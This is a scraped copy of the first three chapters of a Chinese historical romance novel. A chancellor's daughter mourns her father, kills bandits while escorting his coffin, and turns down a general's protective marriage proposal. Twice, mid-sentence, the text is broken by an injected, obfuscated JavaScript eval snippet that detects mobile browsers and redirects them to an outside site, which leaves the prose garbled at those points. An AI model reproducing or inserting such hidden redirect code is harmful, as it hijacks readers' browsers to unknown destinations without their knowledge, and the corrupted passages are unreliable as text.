《夫君总对我愧疚不已》 1. 相爷去了 大船在烧。烈火吞噬着喜庆的红绸,噼啪作响,黑烟滚滚,直冲夜空。 一个穿着大红婚服的男人从火里冲了出来。他提着一柄剑,剑锋在火光里凛冽如霜。 他嘶哑地喊着,一遍又一遍,声音里是撕心裂肺的惊恐。 “岁岁,岁岁…” · 相府,静园。 南岁莞猛地睁开眼。冷汗浸湿了鬓角,泪水无声地滑落,枕上洇开一小片深色的水迹。 “茯苓,”她声音微颤,带着未散的惊恐。 “小姐,又做噩梦了?”茯苓快步走到床边,语调里满是心疼,递过来一个釉里红的小瓷瓶,“这是安神药。” 南岁莞恍惚地伸手去接,指尖发着抖,怎么也使不上力,一下没接住。 “啪!” 一声脆响,在寂静的清晨里格外刺耳。青色粉色的瓷片碎了一地,棕黄的药丸滚得到处都是。清脆的碎裂声像一根针,终于扎破了梦魇的泡影,将南岁莞拽回了现实。她被吓得一激灵,彻底清醒过来。 茯苓惊呼一声,忙俯身要去捡那些药丸。 “别动!”南岁莞急忙出声制止,“先拿扫帚把碎瓷扫了,仔细别扎着手。” 茯苓一怔,看着自家小姐苍白却关切的脸,心头一暖,低声应了是。 侍女们清扫着地面的声音细细碎碎地响着。 南岁莞怔怔地看着窗。半卷的浅青色纱帘,将清晨的冷光滤成一汪春水的颜色。她忽然想起一句诗来。春水碧于天,画船听雨眠…可外面一粒一粒飘着的,却不是雨点。 “茯苓,是下雪了吗?” 茯苓已经指挥着小丫鬟将屋子收拾妥当,闻言笑着回道:“是呢,小姐。今年入冬的第一场雪。”她走上前,轻声问:“那可要穿前儿新做的那件大红云纱面白狐狸里的鹤氅去踏雪?衬着雪景,一定好看。” 大红… 南岁莞心口一窒,梦里那片烧天的火光和刺目的婚服又在眼前一闪而过。“太打眼了。”她摇摇头。 她的目光落在浅碧的纱帘上,心里便有了主意:“就穿那件莲青斗纹鹤氅吧。” 她想起那件鹤氅领子上有一圈丰厚的大貂鼠风领,毛茸茸的,蹭在脸上一定很舒服。 “待会儿去梅园折几枝红梅花苞,回来寻个新的釉里红瓷瓶养着,正好。”她弯了弯唇角,心情好了些许。 这边茯苓应声去准备,那边梳着双鬟、俏生生的小丫头茜草已经端着早膳进来了。托盘上是两个竹节盖碗,并一只青瓷小碟。 “小姐,趁热用吧。” 南岁莞先捧过其中一只盖碗,揭开盖子,是奶.子糖粳米粥。温热的甜粥滑入喉中,浓郁的奶香与恰到好处的甜意瞬间包裹了味蕾,也抚平了心底因噩梦而泛起的寒意。 可怕的火,绝望的呼喊,都渐渐远去。她终于从那个破碎的梦里挣脱出来,找回了属于自己的,平淡而清甜的日常。 接着,她拿起玉箸,夹了一块碟中的枣泥山药糕。枣泥的甜糯混着山药的清香,口感绵软,几乎入口即化。 吃完甜的,再喝一口开胃的酸笋鸡丝汤,酸笋的爽脆和鸡丝的鲜嫩完美地交融,鲜得让人眉眼都舒展开来。南岁莞满足地喟叹一声,噩梦带来的阴霾,终于被这寻常日子的温存彻底取代了。 用毕了早膳,那点子暖意从胃里一直熨帖到心尖。南岁莞坐到菱花镜前,镜子映出一张苍白却清丽的脸。 茯苓取来乌木梳,指尖灵巧,在她鸦黑的发间穿梭:“小姐今日气色好,梳个俏皮些的螺髻可好?” 南岁莞从镜中望着她,轻轻“嗯”了一声。不多时,一个圆润可爱的螺髻便挽好了,衬得她颈项愈发纤细修长。 茯苓又取来那件莲青斗纹鹤氅,为她披上。她下意识地拢了拢领口,将半边脸颊埋进那圈丰厚柔软的貂鼠毛领里。毛茸茸的触感蹭着脸颊,又软又暖,是真实而安稳的。 南岁莞心中的最后一丝阴霾也散了:“走吧,去梅园。” 刚一出门,迎面便是一阵扑簌簌的冷风,卷着细雪,打在脸上。南岁莞才走了几步,便听见一阵急促慌乱的脚步声,由远及近。那声音,像是要把这雪地都踏穿了。 她停下步子,歪了歪头。 相府人少,主子只有父亲与她。父亲好静,她亦然。府里的下人也个个沉稳,何曾有过这样失了章法的脚步声。莫不是…出了什么事? 念头刚起,一个身影便从雪中连滚带爬地奔了过来。 是宁管家,南岁莞瞳孔微缩。平日里一丝不苟,连发丝都纹丝不乱的宁弥,此刻头上的束发太极髻竟晃得散了半边,官帽也歪了。他跑到她面前,膝盖一软,“噗通”一声就跪在了雪地里。 “小姐…”宁弥一开口,声音就带了撕裂般的哽咽,眼泪滚滚而下,“相爷…相爷不好了!” 这些字像一道惊雷,直直劈进南岁莞的脑海里。她腿一软,身子便不受控制地往下倒去。 “小姐!”茯苓眼疾手快,抢先一步跪下,用自己的身体垫在了南岁莞身下。她的手刚碰到小姐,就被那刺骨的冰凉骇了一跳。茯苓急得红了眼,一个眼神递过去。茜草立刻会意,抱着手炉也跪了过来,抖着手将暖炉塞进南岁莞怀里。 “宁伯伯…”南岁莞的声音像从冰缝里挤出来,又轻又颤。“你说什么…父亲他…他怎么了?”她想站起来,手脚却软得像一滩烂泥,怎么也使不上力。心也像这脚下的雪地,冰凉冰凉的。 风雪淅淅沥沥地响着,像是谁在低声呜咽。 跪在地上的宁弥,头深深地埋着,沙哑着嗓子开口:“小姐恕罪!相爷…相爷在书房案前闭门理事,偶发心悸,侍墨的芸生进去时,发现相爷已无声息了。老奴刚叫了府医过去,就、就跑来禀告小姐,都是老奴无能!办事不力啊!” 南岁莞只觉得耳朵里嗡嗡作响。全身的血液好像一瞬间被抽干,又被灌满了冰碴子。她嘴唇张张合合,却发不出一个音节。喉咙像是被一只无形的手死死扼住。 她猛地伸出手,指尖插进冰冷的雪地里,借着那一点刺痛的力道,挣扎着要站起来。茯苓和茜草一左一右,连忙将她扶住。她踉跄着,几乎是被两个丫鬟架着,朝着书房的方向奔去。 这一路,枯枝负雪,天地一片死寂。 南岁莞什么话都说不出来。眼泪涌出眼眶,瞬间被寒风冻成了冰凌,挂在脸上,她却感觉不到一丝冷。脑子里什么也转不动了,只有一个念头。 快点,再快一点。 莲青色的鹤氅,裹着她纤细得仿佛一折就断的身子。那抹浅青,像风雪中一片无助飘零的叶子。 她摇摇晃晃地,穿过漫天大雪,从最西边,她方才还向往着的梅园;路过她住了四年,以为是此生安稳归宿的静园;最后,一头撞进了父亲所在的,那个如今让她肝胆欲裂的蘅园。 无边的惊恐像这漫天大雪,将她吞没,无处遁形。蘅园的苍翠草藤在眼角飞速倒退,几乎成了一片模糊的绿影。那架画着山幽林茂的寒山屏风,此刻也只剩一片仓惶的墨色。 外室略显明亮,四壁的博古架上,越窑青瓷的温润与定窑白瓷的清冷,竟刺得她眼睛生疼。终于,她在那一领绣着白水明田的绢帘下,生生刹住了脚步。 帘内,父亲伏在案上的背影,一动不动,和过去四年里,她无数次看到的一模一样。 每当她嫌府里寂寞,便会带着新折的梅花,或是刚掇的药草,有时甚至是自己画得笨拙不堪的水墨山水,来寻父亲。她总是蹑手蹑脚地,轻轻拉开这内室的绢帘。然后,便会看见这个熟悉的背影。 她像一尊被冻僵在门口的冰雕。血液在四肢百骸间凝滞,心口却烧得滚烫。 她多希望,父亲能像那无数个午后一般,听见她来了,便缓缓回过头,眉如墨画,深邃的眼底带上柔和的笑意,站起身来问她:“岁岁今日,又带了什么小玩意儿来给为父看?” 奇迹终究没有发生。这方小小的天地里,空气寒冷而滞涩,沉重得让人喘不过气。她吸了吸被涕泪堵住的鼻,小心翼翼地,半蹲下身子。 她歪着头,去看父亲的脸。那张脸,是她从未见过的、死灰般的苍白。眉心紧紧蹙着,唇角下撇,凝固 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窗外的雪声,愈发重了。她没有去找别的书案,而是径直走过去,坐在了父亲方才坐过的那张花梨大理石大案前。 案上,一杯竹节茶杯里的茶水,已经凉透。松烟墨在砚台里晕开,边缘已经结痂。一张质地柔软轻薄的宣纸铺着,上面斜着一支宣笔。 父亲死前,笔锋最后顿在了纸上,洇开一个浓重的大墨点。 她仔细看去。那是一封关于军粮的文书。墨点之下,她分辨出了几个字:骁骑将军,温少虞。 她本以为,自己的悲恸已无以复加。可当“温少虞”那三个字撞入眼帘时,梦里那场焚心蚀骨的大火,瞬间在脑海中重新燃起。 大船,烈焰,红绸…还有一个持剑的男人,撕心裂肺地喊着“岁岁”。绝望的惊悸,连带着被死死压抑住的、父亲骤亡的哀痛,如山崩海啸,一并奔涌而出。 她再也承受不住。南岁莞双手枕着头,直直地趴在了冰冷的案上,彻底晕了过去。 大相国寺的钟声,遥遥传来,一声,又一声,沉闷地撞在人心上。 南岁莞是在这钟声里醒来的。她躺在蘅园的拔步床上,帐顶的鲛人泪夜明珠,散发着微弱而悲凉的光。 茯苓和茜草守在床边,眼睛都哭肿了。她撑着身子坐起,开口时,嗓音哑得像被砂纸磨过:“我…睡了多久?” “小姐,您昏过去整整一日了。” 原来,已经这么久了。原来,父亲已经…离开她一天一夜了。 · 数日后,大内,随安室。 随安室的西南明窗,将漫天雪色映上了那幅《鹤鹿图》。鹤顶的丹红,鹿眼的温驯,俱被这片清冷的白光,照得失了颜色。 雕琢着云纹的万字形楠木通炕上,铺着一张米字格纹的细藤炕席。老皇帝季泸就这么盘腿坐着,随意抓过两本奏折,搭在膝上。他饶有趣味地开口,声音里带着一丝慵懒的笑意:“温家那小子,倒是上心。” 一旁,头发同样花白的大太监易吉利,正轻手为他研着一池松烟墨。季泸抬眼看他:“他说想亲自护送老南家的闺女,回乡安葬。易吉利,你说,这事儿巧不巧?” 易吉利停下手中的墨锭,躬身奉承:“陛下圣明,万事皆在您掌握之中,何来巧合一说。” 季泸轻笑一声,显然对这马屁很是受用。他幽幽叹了口气,目光投向窗外纷飞的大雪:“老南也走了。去年这时候,老南还跟朕念叨,说一眼就瞧中了温家那小子,想招来当个东床快婿。”他啧了一声,摇摇头:“物是人非啊。” 易吉利忙道:“陛下记性是顶好的,也最是顾念旧臣,南相泉下有知,定会感念陛下天恩。” “感念?”季泸满意地颔了颔首,指尖轻点着奏折上的字,“温家小子只会打仗,人情世故上,木讷得很。等老南家的闺女守完孝,这两个孩子,可都二十有三了。再不让朕推一把,这桩好事,怕是要黄了。” 他将奏折往炕桌上一扔,语气不容置喙:“拟旨吧。准骁骑将军温少虞,护送南相灵柩,还乡。” 2. 重逢之时 广宁门外。 广宁门高大的匾额,在风雪中模糊成一个墨团。朱红的城门,在身后缓缓合上。门上八十一颗鎏金门钉,与那狰狞的龙首门环,都成了最后的挽歌。两侧的麒麟抱鼓门墩,和绘着福禄寿喜的墙画,也在视野里,渐渐远去。 南岁莞半掀起车窗的青布幔子。风雪立刻灌了进来。她一身清瘦的丧服被风吹得鼓起,发间那条素白的绖带,被风卷着,固执地朝城门的方向飘。 茯苓担忧地轻唤:“小姐,仔细受了凉。” 南岁莞放下布幔,将寒气隔绝在外。她声音很轻,带着一丝茫然:“茯苓,方才风雪太大,我走了神。温将军派来的人说,送葬的队伍,今日几时歇,歇在何处?” 茯苓连忙回答:“回小姐,说是酉时到莲子寺。”她看南岁莞没什么反应,才猛地想起南岁莞十六岁那场高烧后失了记忆,忙补充道:“莲子寺是前朝神宗皇帝下令修建的,只是到了本朝,香火断绝,早已荒废了。” 南岁莞在心里,将这两个字咀嚼了一遍。莲子…怜子。她忽然想起,父亲哄她喝那碗黄连药时,也是这般温柔地,在她耳边说:“岁岁乖,怜子怜子,喝了就不苦了。” 一瞬间,喉头哽得生疼。 官道之上,马车颠簸了一下,转过一道弯。南岁莞忍不住,又微微掀开了布幔一角。雪幕中,父亲的灵柩在前,影影绰绰。 遥遥队伍最前端,那个骑在马上,亲手为父亲执着招魂幡的挺拔背影,如一杆刺破风雪的长枪,束着发,挺着背,是温少虞。 茜草拿着一只暖手炉凑了过来,带着哭腔:“小姐,您这几日为了相爷的丧事,连轴转,几乎没合过眼。求您…歇会儿吧。” 南岁莞伸出冻得发红的指尖,双手抱住那只小巧的手炉。她看着茯苓和茜草,两张小脸上都写满了心疼,到底还是拗不过她们,只低声说了一句:“你们也轮着歇歇。” 她闭上眼,靠着车壁。车轱辘单调的声响,像一首催眠的曲子,将她拖入记忆的深渊。父亲带她读书习字的身影,教她如何用新雪沏茶的清冽;握着她的手,教她“这颗棋,当落在此处”的温厚掌心;还有,难得板起脸,强硬地要她喝下苦药,却又在她皱眉时,飞快塞她一嘴蜜饯的无奈与宠溺。 一幕一幕,交错闪现,最后轰然散开。她一个也抓不住。 也不知过了多久,南岁莞是在风雪渐缓时醒来的。车轮碾过积雪的声音已然停了。 她迷迷糊糊睁开眼,恰逢酉时。天际是壮丽的残阳,将万道金光毫不吝啬地洒在无垠的雪地上。白与金交相辉映,纯净得让人心惊。 茜草点亮了车内的风灯,将食案摆好:“小姐,您醒了。” 案上是一碗素什锦,一盅豆腐羹。纤细的胡萝卜丝与芹菜丝,依旧脆嫩清爽。木耳丝柔滑,香菇丝则带着一股浓郁的菌香,混在一起,是种干净而丰盈的滋味。 那盅豆腐羹,白玉般温润。汤汁清澈见底,只零星点缀着几抹碧绿的葱花。南岁莞舀起一勺,豆香醇厚,入口即化。 用完这点清淡的晚膳,车外传来侍卫低沉的声音:“小姐,莲子寺到了。” 南岁莞将那件浅灰暗花纹的鹤氅裹紧了些,扶着茯苓的手下了轿。寒气扑面。她径直走向队伍最前方的灵柩。 那是上好的楠木,质地温润,色泽黄中带绿,在暮色中泛着柔和的光。一阵极淡的香气,萦绕鼻尖。 南岁莞伸出手,指尖轻轻抚过棺木上雕刻的纹路,是谷底的兰花,清雅,幽香,一如父亲的品性。 她想起父亲的书房,春时,案上总有一盆花箭高挑的蕙兰。到了夏日,便再填上勤花勤芽的建兰。待到秋冬,才肯将它们一道撤下。 父亲走了。那座诺大的相府,连同满园的花木,终将迎来新的主人。她纵然继承了万贯家财,又该去向何处。这一路颠簸,父亲生前的那些旧物,又能剩下几成,还是说…都将跟着他,一道去了。 南岁莞正出神,耳边忽然传来“吱呀——”一声,像是朽木不堪重负,断裂倒塌的声音。 她下意识转头望去,不远处的莲子寺,山门早已凋零。半截倾颓的院墙后,一尊金身剥落大半的佛像,正无悲无喜地躺在积雪里,寂寞而又荒凉。 不对,这声音…“有贼!”温少虞麾下的一名侍卫,声嘶力竭地吼道。 话音未落,破败的寺庙中,竟真的蜂拥而出数十道身影。为首的,是一个身穿僧袍、腰系戒刀的胖大和尚。他身后,跟着一众穿着灰色僧衣的“僧人”,个个手持利刃,凶神恶煞。 离南岁莞得最近的茯苓,惊叫一声,想也不想便张开双臂,死死挡在她身前:“小姐快走!” 一个袒露着胸膛,只穿黑色短打的瘦高个贼人,狞笑着冲在最前。他手中长枪一送。“噗嗤——”利刃入肉的声音。茯苓的左臂,被深深刺穿。 温热的血霎时飞溅而出,有几滴正落在南岁莞清丽的脸颊上。好滚烫,南岁莞的脑中一片空白。她来不及思考,甚至来不及悲伤或恐惧,身体却已然动了。 那是一种仿佛早已刻进骨血的本能。她身形如鬼魅般向旁一闪,右手快如闪电,一挑一带。只听“当啷”一声,那瘦子的长枪,竟已落入她手中。 瘦子眼中闪过一丝错愕,他再没有机会了。南岁莞手腕一抖,夺来的长枪如毒龙出洞,不偏不倚,直直刺入他的胸膛,一枪毙命。 她甚至没有看那尸体一眼,枪身猛地向下一劈。“啪!”粘稠的血色,如泼墨般,溅上她浅灰色的鹤氅。 与此同时,另一个手持朴刀的贼人已近在咫尺。南岁莞手腕翻转,枪杆顺势一缠,死死控住对方的刀势。而后,点枪。枪尖化作一道寒芒,精准无误地,穿透了他的咽喉。 枪尖的血,一滴一滴砸在雪地里,洇开一小团、一小团的红。南岁莞的动作停滞了。 那头,温少虞的长刀已斩下了最后一颗头颅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042186|178826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。血雾弥漫,他勒马回首。只一眼,他便怔住了。 残阳如织金,为南岁莞披上一身神光。她立在尸山血海间,手持一杆红缨长枪。那双清澈的水杏眼,正倒映着枪尖微微晃动的红缨,空洞而茫然。几缕深棕色的碎发,湿漉漉地贴在耳畔。颊上一道飞溅的鲜血,已经凝固成暗红的线。 她就那样站着,像一尊沾染了尘埃与杀戮的玉像。神性与野性,在她身上撕扯交融。 温少虞的心,先是被这惊心动魄的美狠狠攫住,随即,又被更尖锐的疼,寸寸凌迟。他看见她干裂起皮的嘴唇,看见她因急促呼吸而剧烈起伏的胸膛,看见她紧绷到极致后,正一丝丝松弛下来,微微颤抖的双臂。 “驾——!”他想也不想,猛地一夹马腹,朝着她的方向疾驰而去。 温少虞的靠近,像一道惊雷,劈醒了南岁莞混沌的意识。她低头,看着自己手中的红缨长枪,看着枪身上蜿蜒的血迹。我…杀了人?这个念头,如冰锥刺入脑海。 眼前的景象,开始模糊旋转。记忆深处,有什么遥远而浓重的东西,正破土而出:是惊恐,是痛苦,是无边无际的愧疚。 她想不起来那是什么,为何而来。可那灭顶般的天旋地转,那阵阵上涌的恶心反胃,却真实得让她浑身冰冷,面色一瞬间煞白如纸。她攥紧了那杆红缨长枪,指节因用力而泛出死一样的青白。 不远处,崴了脚的茜草正和左臂血流不止的茯苓互相搀扶着,踉跄着向她走来。人人一身素白丧服,都溅上了刺目的血。雪地上,几十具尸体横七竖八。四周,是伤者此起彼伏的挣扎与呻吟。 人间炼狱。 温少虞纵马而来。他看见她身边,丫鬟重伤,嬷嬷太远,剩下的全是男人。南岁莞已摇摇欲坠,正朝着他的方向,缓缓倾斜。 “砰——”那杆红缨枪,终于无力地坠落在雪地里,发出一声闷响。她浅灰色鹤氅上的暗花纹,早已印上了干涸的血迹。水杏眼空洞失神,粉嫩的双唇微张着,却发不出半点声音。 温少虞看着她,忽然明白了什么。若此刻纵马向前,选择抱住她…他便再也无法远远守护,再也无法保护她那段被南相精心粉饰过的、纯白无害的过往。 他必须冒着揭开一切的风险,再次靠近她,将自己昔日的背叛,摊开在她面前。 可他没有半分犹豫。他知道,他想要的生活里,必须有南岁莞。他再也舍不得让她吃半分苦了。 马蹄在南岁莞身前急停。温少虞翻身下马,长臂一伸,在她倾倒的瞬间,将她稳稳地捞入怀中。 南岁莞一头撞进他的胸膛。像是风雪中一朵零落的灰兰花,终于被深谷温柔地裹住。 她抬起眼。看见一双豪爽俊秀的狗狗眼,此刻,盛满了她看不懂的痛惜与深情。是坚硬的明光甲胄,和甲胄后温暖得惊人的胸膛,是环住她,柔软而有力的双臂。还有…一阵静谧幽远的柏木香。 很熟悉。熟悉得,让她想哭。 3. 改道 风雪呼啸。 广袤的荒野,被一场大雪覆盖得严严实实,白雪上嵌着的枯木岩石愈发肃穆。空气里弥漫着凛冽寒气。十几顶素白的幄帐散落开来,密雪映寒灯。 最中间那顶素白幄帐,锥形的四条垂脊斜下,像一只探入雪地的白狼巨爪。帐内,暗黄的油灯旁,一尊三足小炉,正咕噜咕噜地温着什么。 南岁莞悠悠转醒。眼前的景物,先是模糊成一片柔白的光晕。她躺在矮榻上,顶上悬着一道柔白的纱帐。耳边,有压得极低的声音,断断续续地传来:“…死八人,伤…” 大抵是温少虞的一个属下,正在帐外汇报。后面的话,她没听清,只听见温少虞用更轻的声音,回了句什么。那属下应了声“诺”,脚步声便在雪地里渐行渐弱,直至消失。 帐内,重归寂静,只剩小炉里,汤水细微的沸腾声。一道幢幢的人影,印在纱帐上,由远及近,愈发清晰高大。最后,停在了她的榻前。 “是我疏忽,”温少虞的声音,带着一丝沙哑的自责,轻柔得像怕惊扰了帐内的暖意,“娘子身子可还好些?” 南岁莞的思绪,像一团被江水浸透的乱麻。死八人…是为了她。是她执意要让父亲的灵柩,走这条匪患多发的京郊近路。若非如此…她心口一窒,只从喉咙里,浅浅地挤出一个字:“嗯。” 温少虞见她应了,却不再说话,心头竟有些懊恼。他让受伤的茯苓和茜草都歇下了。此刻,这帐中只有他二人。他一个武将,实在不知该如何接话,才能不显得唐突,不让她感到不适。 他沉默地站了片刻,转身,大步流星地走到那尊三足小炉前。他俯身,揭开炉盖,用长柄木勺,舀了半碗汤:“茯苓和茜草都受了伤,我让她们歇下了。” 他端着汤走回来,停在榻边,语气听起来像在解释军情:“这是当归老姜汤,按军医说的方子做的,安神祛寒。” 南岁莞看着他。这个在战场上杀伐决断的骁骑将军,此刻,竟像个做错了事的少年,捧着一碗汤,带着几分不知所措的惶恐。 她心底那点沉甸甸的自责,忽然就松快了些,甚至,觉得有点好笑。她伸出手,微凉的指尖,掀开了那道柔白的纱帘。温少虞立刻将碗递了过去。她接过。 陶碗入手,尚有余温,温润中带着一点恰到好处的粗粝,不会太细腻。她低头看见,碗是浅碧色的,她最爱的那种浅碧色。 她端着碗,指腹无意识地摩挲着碗壁上刻着的字——水皆缥碧,千丈见底。字的旁边,还用简笔勾勒出几折山峦,一叶扁舟,是富春江,含蓄深沉,又澄静从容。 南岁莞怔住了。她想,这位温将军,原来竟是个如此细心体贴之人。连一只小小的汤碗,都这样…熨帖。 她小口地喝着那温热的当归老姜汤,辛辣中带着一丝甘甜,顺着喉咙滑下,驱散了四肢百骸的寒意,也抚平了之前的惊悸。 而温少虞,只是静静地站在一旁,看着她一口一口地喝完,苍白的小脸终于有了一丝血色。他眼底的痛惜与深情,在暗黄的灯火下,藏得滴水不漏。 他见她将空碗稳稳放在榻边的小几上。帐内的静,便又浓稠得化不开了。温少虞喉结微动,强迫自己去寻一些不那么沉重的话头:“此番遇袭,虽有人受伤…” 他顿了顿,声音沉而稳,像要用言语为她筑起一道防线:“但相爷的灵柩分毫未损。明器铭旌、香烛纸钱也都完好。再有三日,便能到石碣村,丧仪可照旧举行。” 南岁莞静静听着,指尖无意识地蜷起,攥住了身下的软褥。三日。为了一具冰冷的灵柩,为了一场所谓的体面,还要再走三日这样凶险的路,还要再连累多少人? 父亲的死已是一座压在她心口的山,她不能让这座山再去砸伤旁人。 她抬起眼,眸中没有泪,只有一种历经惊变后的清明与疲倦:“温将军,家父便葬在前面的楼桑村吧。” 温少虞闻言,猛地一怔。他预想过她的哀恸,她的恐惧,却唯独没料到这份…权衡与决断。一股涩意,夹杂着尖锐的心疼,瞬间冲上他的心口。 她总是这样,永远这样体贴,这样周全,将所有人的安危都揽在自己单薄的肩上。 “楼桑村…”他几乎是下意识地重复了一遍,“可是相爷那篇《劝学序》里,提到的楼桑村?” 南岁莞苍白的脸上,泛起一丝极淡的红晕,像是雪地里落下的一小片残梅。她微微颔首,算是应了。脑海中,仿佛也看见了那个“穷冬烈风,大雪深数尺”的雪天,一个瘦弱的少年,如何跋涉着去往他的蒙学书塾。 父亲以诗书立世,名满天下。而她呢?她这个唯一的女儿,失过忆,身子又弱,父亲从未拘着她苦读。诗书一道,她只算粗通。读得最熟的,也不过是那三四本医书。 一种难以言喻的低落,如水底的暗苔,悄然漫上心头。她终究是无法继承父亲衣钵的。 温少虞看着她垂下眼睫,沉默不语的模样。那副故作坚强的周全,最是让他心疼。他宁愿她哭,宁愿她闹,也不愿看她这样将万般情绪都锁在心底。 他不想再提她的父亲,让她再添伤感。于是,他生硬地转了话锋,将过错都揽到自己身上:“今日之事是我失礼。情急之下,冒犯了娘子。” 南岁莞被他这突如其来的道歉惊得抬起头。“将军言重了,”她摇摇头,神色坦然,“事发突然,可以理解,倒是岁莞要多谢将军出手相助。” 这一提醒,她忽然想起,送灵的队伍里不止有将军的亲兵,还有圣上派来的小黄门,与那些主动来为一代名相送终的各家子弟。 “将军,”她急切地问,“随行的那些人…他们可还好?没有受伤吧?” 温少虞的目光沉了下去:“他们无事。不幸身亡的是四位嬷嬷,两个小厮,还有…”他顿了顿,声音愈发伤感,“两位老兵。” 他想起了那两位曾跟着他父亲上过战场的老卒,是如何在重伤之下,依旧奋勇向前,搏杀了三五名刺客才力竭倒下。 南岁莞的心又是一沉,她试探着问:“那他们……” “娘子昏过去时,我已命人将他们葬在了雪中。”温少虞的声音很轻,仿佛怕惊扰了逝者的安宁:“以树枝为碑,诵念悼词。” 南岁莞闭上眼。白雪,枯枝,新坟,一幅凄凉的画面,在她脑中清晰成形。 “我知道了,”她睁开眼,眸中的茫然已被一种坚韧所取代。“明早出发前,我要去祭拜他们。” 他看着她,看她在昏黄的灯火下,裹着厚实的被褥,像一朵被小心呵护、却依旧在风雪中颤抖的冬梅。 帐外是漫天风雪,荒山野岭。帐内,是暖和得有些不真实的厚被,和一盏昏黄的油灯。她断断续续地与他说话,说的却都是旁人。是死去的嬷嬷,是殉职的老兵。 温少虞的心头,忽地涌上一股无名火气,又被他死死压下。他有些着急。 为何她总是这样,惦记着所有人,却唯独不惦记她自己。他必须让她意识到,她如今的处境,她自己的安危才是第一位的。 温少虞的目光沉沉,像落了雪的深潭。他隐晦地开口,声音比帐外的风雪还要冷上几分:“今日情急,我将娘子抱回帐中,送灵的队伍…都看见了。” 南岁莞果然一怔。她像是被那句话烫到了,捏着被角的手指猛地收紧,眼睫也跟着慌乱地颤了颤。 温少虞看着她脸上血色尽褪,心一横,再不迟疑。他撩起长袍下摆,在榻前单膝跪了下去。动作决绝,没有半分犹豫。 他垂下头,将一身的杀伐与冷硬尽数敛去,只余下最诚恳、最体贴的姿态:“娘子清誉要紧。温某并非轻薄无状之人。若娘子有意,此番事了,我便回京向圣上求旨赐婚。相爷孝期三年,三年之后,温某再来迎娶。” 南岁莞彻底蒙了,她怔怔地看着跪在自己面前的男人。这是她第一次,这样认真地打量他。 昏黄的灯光勾勒出他英挺的轮廓,眉骨高耸,尽显英气。那双总是沉静得如古井无波的眼,此刻竟漾着一丝紧张,像春日解冻的富春江水,澄澈而深邃。 整个人,便如一座挺拔的玉山,于风雪中巍然独行,如玉山上行,光映照人。 她这才惊觉,原来这位战无不胜的骁骑将军,不是一柄没有感情的武器。他也会忐忑,会腼腆,会这样小心翼翼地,接受她的打量。 见她久久不语,温少虞又低声补了一句,像是在自责,更像是在给她最后的保证:“相爷留下的田产铺面,我可与娘子立下契约,全数归于娘子名下,绝不染指。如此,便无人敢欺你孤女无依。” 南岁莞的心,像是被一只温暖的手轻轻托了一下。她懂了。 他怕她父亲新丧,又逢此惊变,日后在京中无依无靠,会被人吞得骨头都不剩。这一跪,这一求,不是贪图,而是庇护。 可…她深知自己这副身子骨,自幼体弱,大病一场后更是如履薄冰,恐怕…不好生养。心底深处,更是有一种莫名的胆怯与抗拒,让她不敢轻易点头。 “将军…”她终于找回自己的声音,带着一丝歉意与疏离,“将军的好意,岁莞心领了。只是…岁莞蒲柳之姿,实不敢耽误将军。” 温少虞的身形,几不可察地僵了一下。帐内的空气,瞬间凝滞。他缓缓起身,像是什么都没发生过一样,语气甚至带了点自嘲的轻松:“是在下唐突了,娘子莫要放在心上。” 南岁莞垂下眼,不知该如何接话。就在这凝滞的静默里,她的目光无意间瞥到了帐篷的角落。那里,立着一杆长枪,枪头的红缨在灯火下,像一簇未灭的火焰。 “那是…将军的枪吗?”她问。 温少虞顺着她的目光看去,点了点头。“娘子也想试试?”他有些迟疑,“只是刚见了血,怕你…” “不见血,就不会怕。”南岁莞摇摇头,语气里竟带上了一丝佩服,“将军好生厉害,能杀那么多贼人。” 温少虞的唇边,泛起一抹苦笑:“其实,我原本也不爱见血。”他的声音很轻,带着一丝遥远的怅惘:“我还想着,能像相爷一样,此生只与笔墨为伴,写几本…兵书。” “那将军的志向,是什么时候变的?”南岁莞好奇地问。 温少虞的目光黯了下去,像是想起了什么极痛苦的事:“五年前,漠北之役后。”他只说了这几个字,便止住了话头。那场惨胜,父母双亡,成了他心中永不能碰的疤。 南岁莞心头一紧。她想安慰他,可又怕自己刚刚拒绝了他,此刻的安慰只会让他更难堪,更显伤心。于是,她换了一种方式:“那…将军可否教我舞枪?” 温少虞抬眼看她,眸中满是惊讶。她却已经叽叽喳喳地畅想起来:“等回了京城,总不能日日闷在府里。将军若是有空,便来教我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042187|178826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几招,可好?” 看着她重新焕发生气的脸,温少虞心头那点被拒绝的失落,竟被一种无奈的暖意冲散了。“好。”他应道。 “太好了!”南岁莞笑了起来,这才猛然想起什么。她这一觉睡了大半天,可他却一直醒着。“哎呀,瞧我,只顾着自己。将军快去歇息吧。”她说着,便要起身下榻,将这主帐让出来。 “娘子不必,”温少虞按住她的肩膀,将她稳稳地按回被褥里,“我一个武将,没那么金贵。” 他说完,转身取过自己的大氅,披在身上,径直掀开帐帘。一股夹杂着雪粒的寒风,瞬间灌了进来。他头也不回地走入风雪之中,高大的背影很快便消失在夜色里。他要去偏将的帐篷里挤一晚。 雪地里,他深一脚浅一脚地走着,心中却在盘算。等回了京,新相上任,朝中格局必将大变。或许,借着这个“武师傅”的名号,他才能名正言顺地时时到她身边,多护着她一点。 . 几日后,大内,随安室。 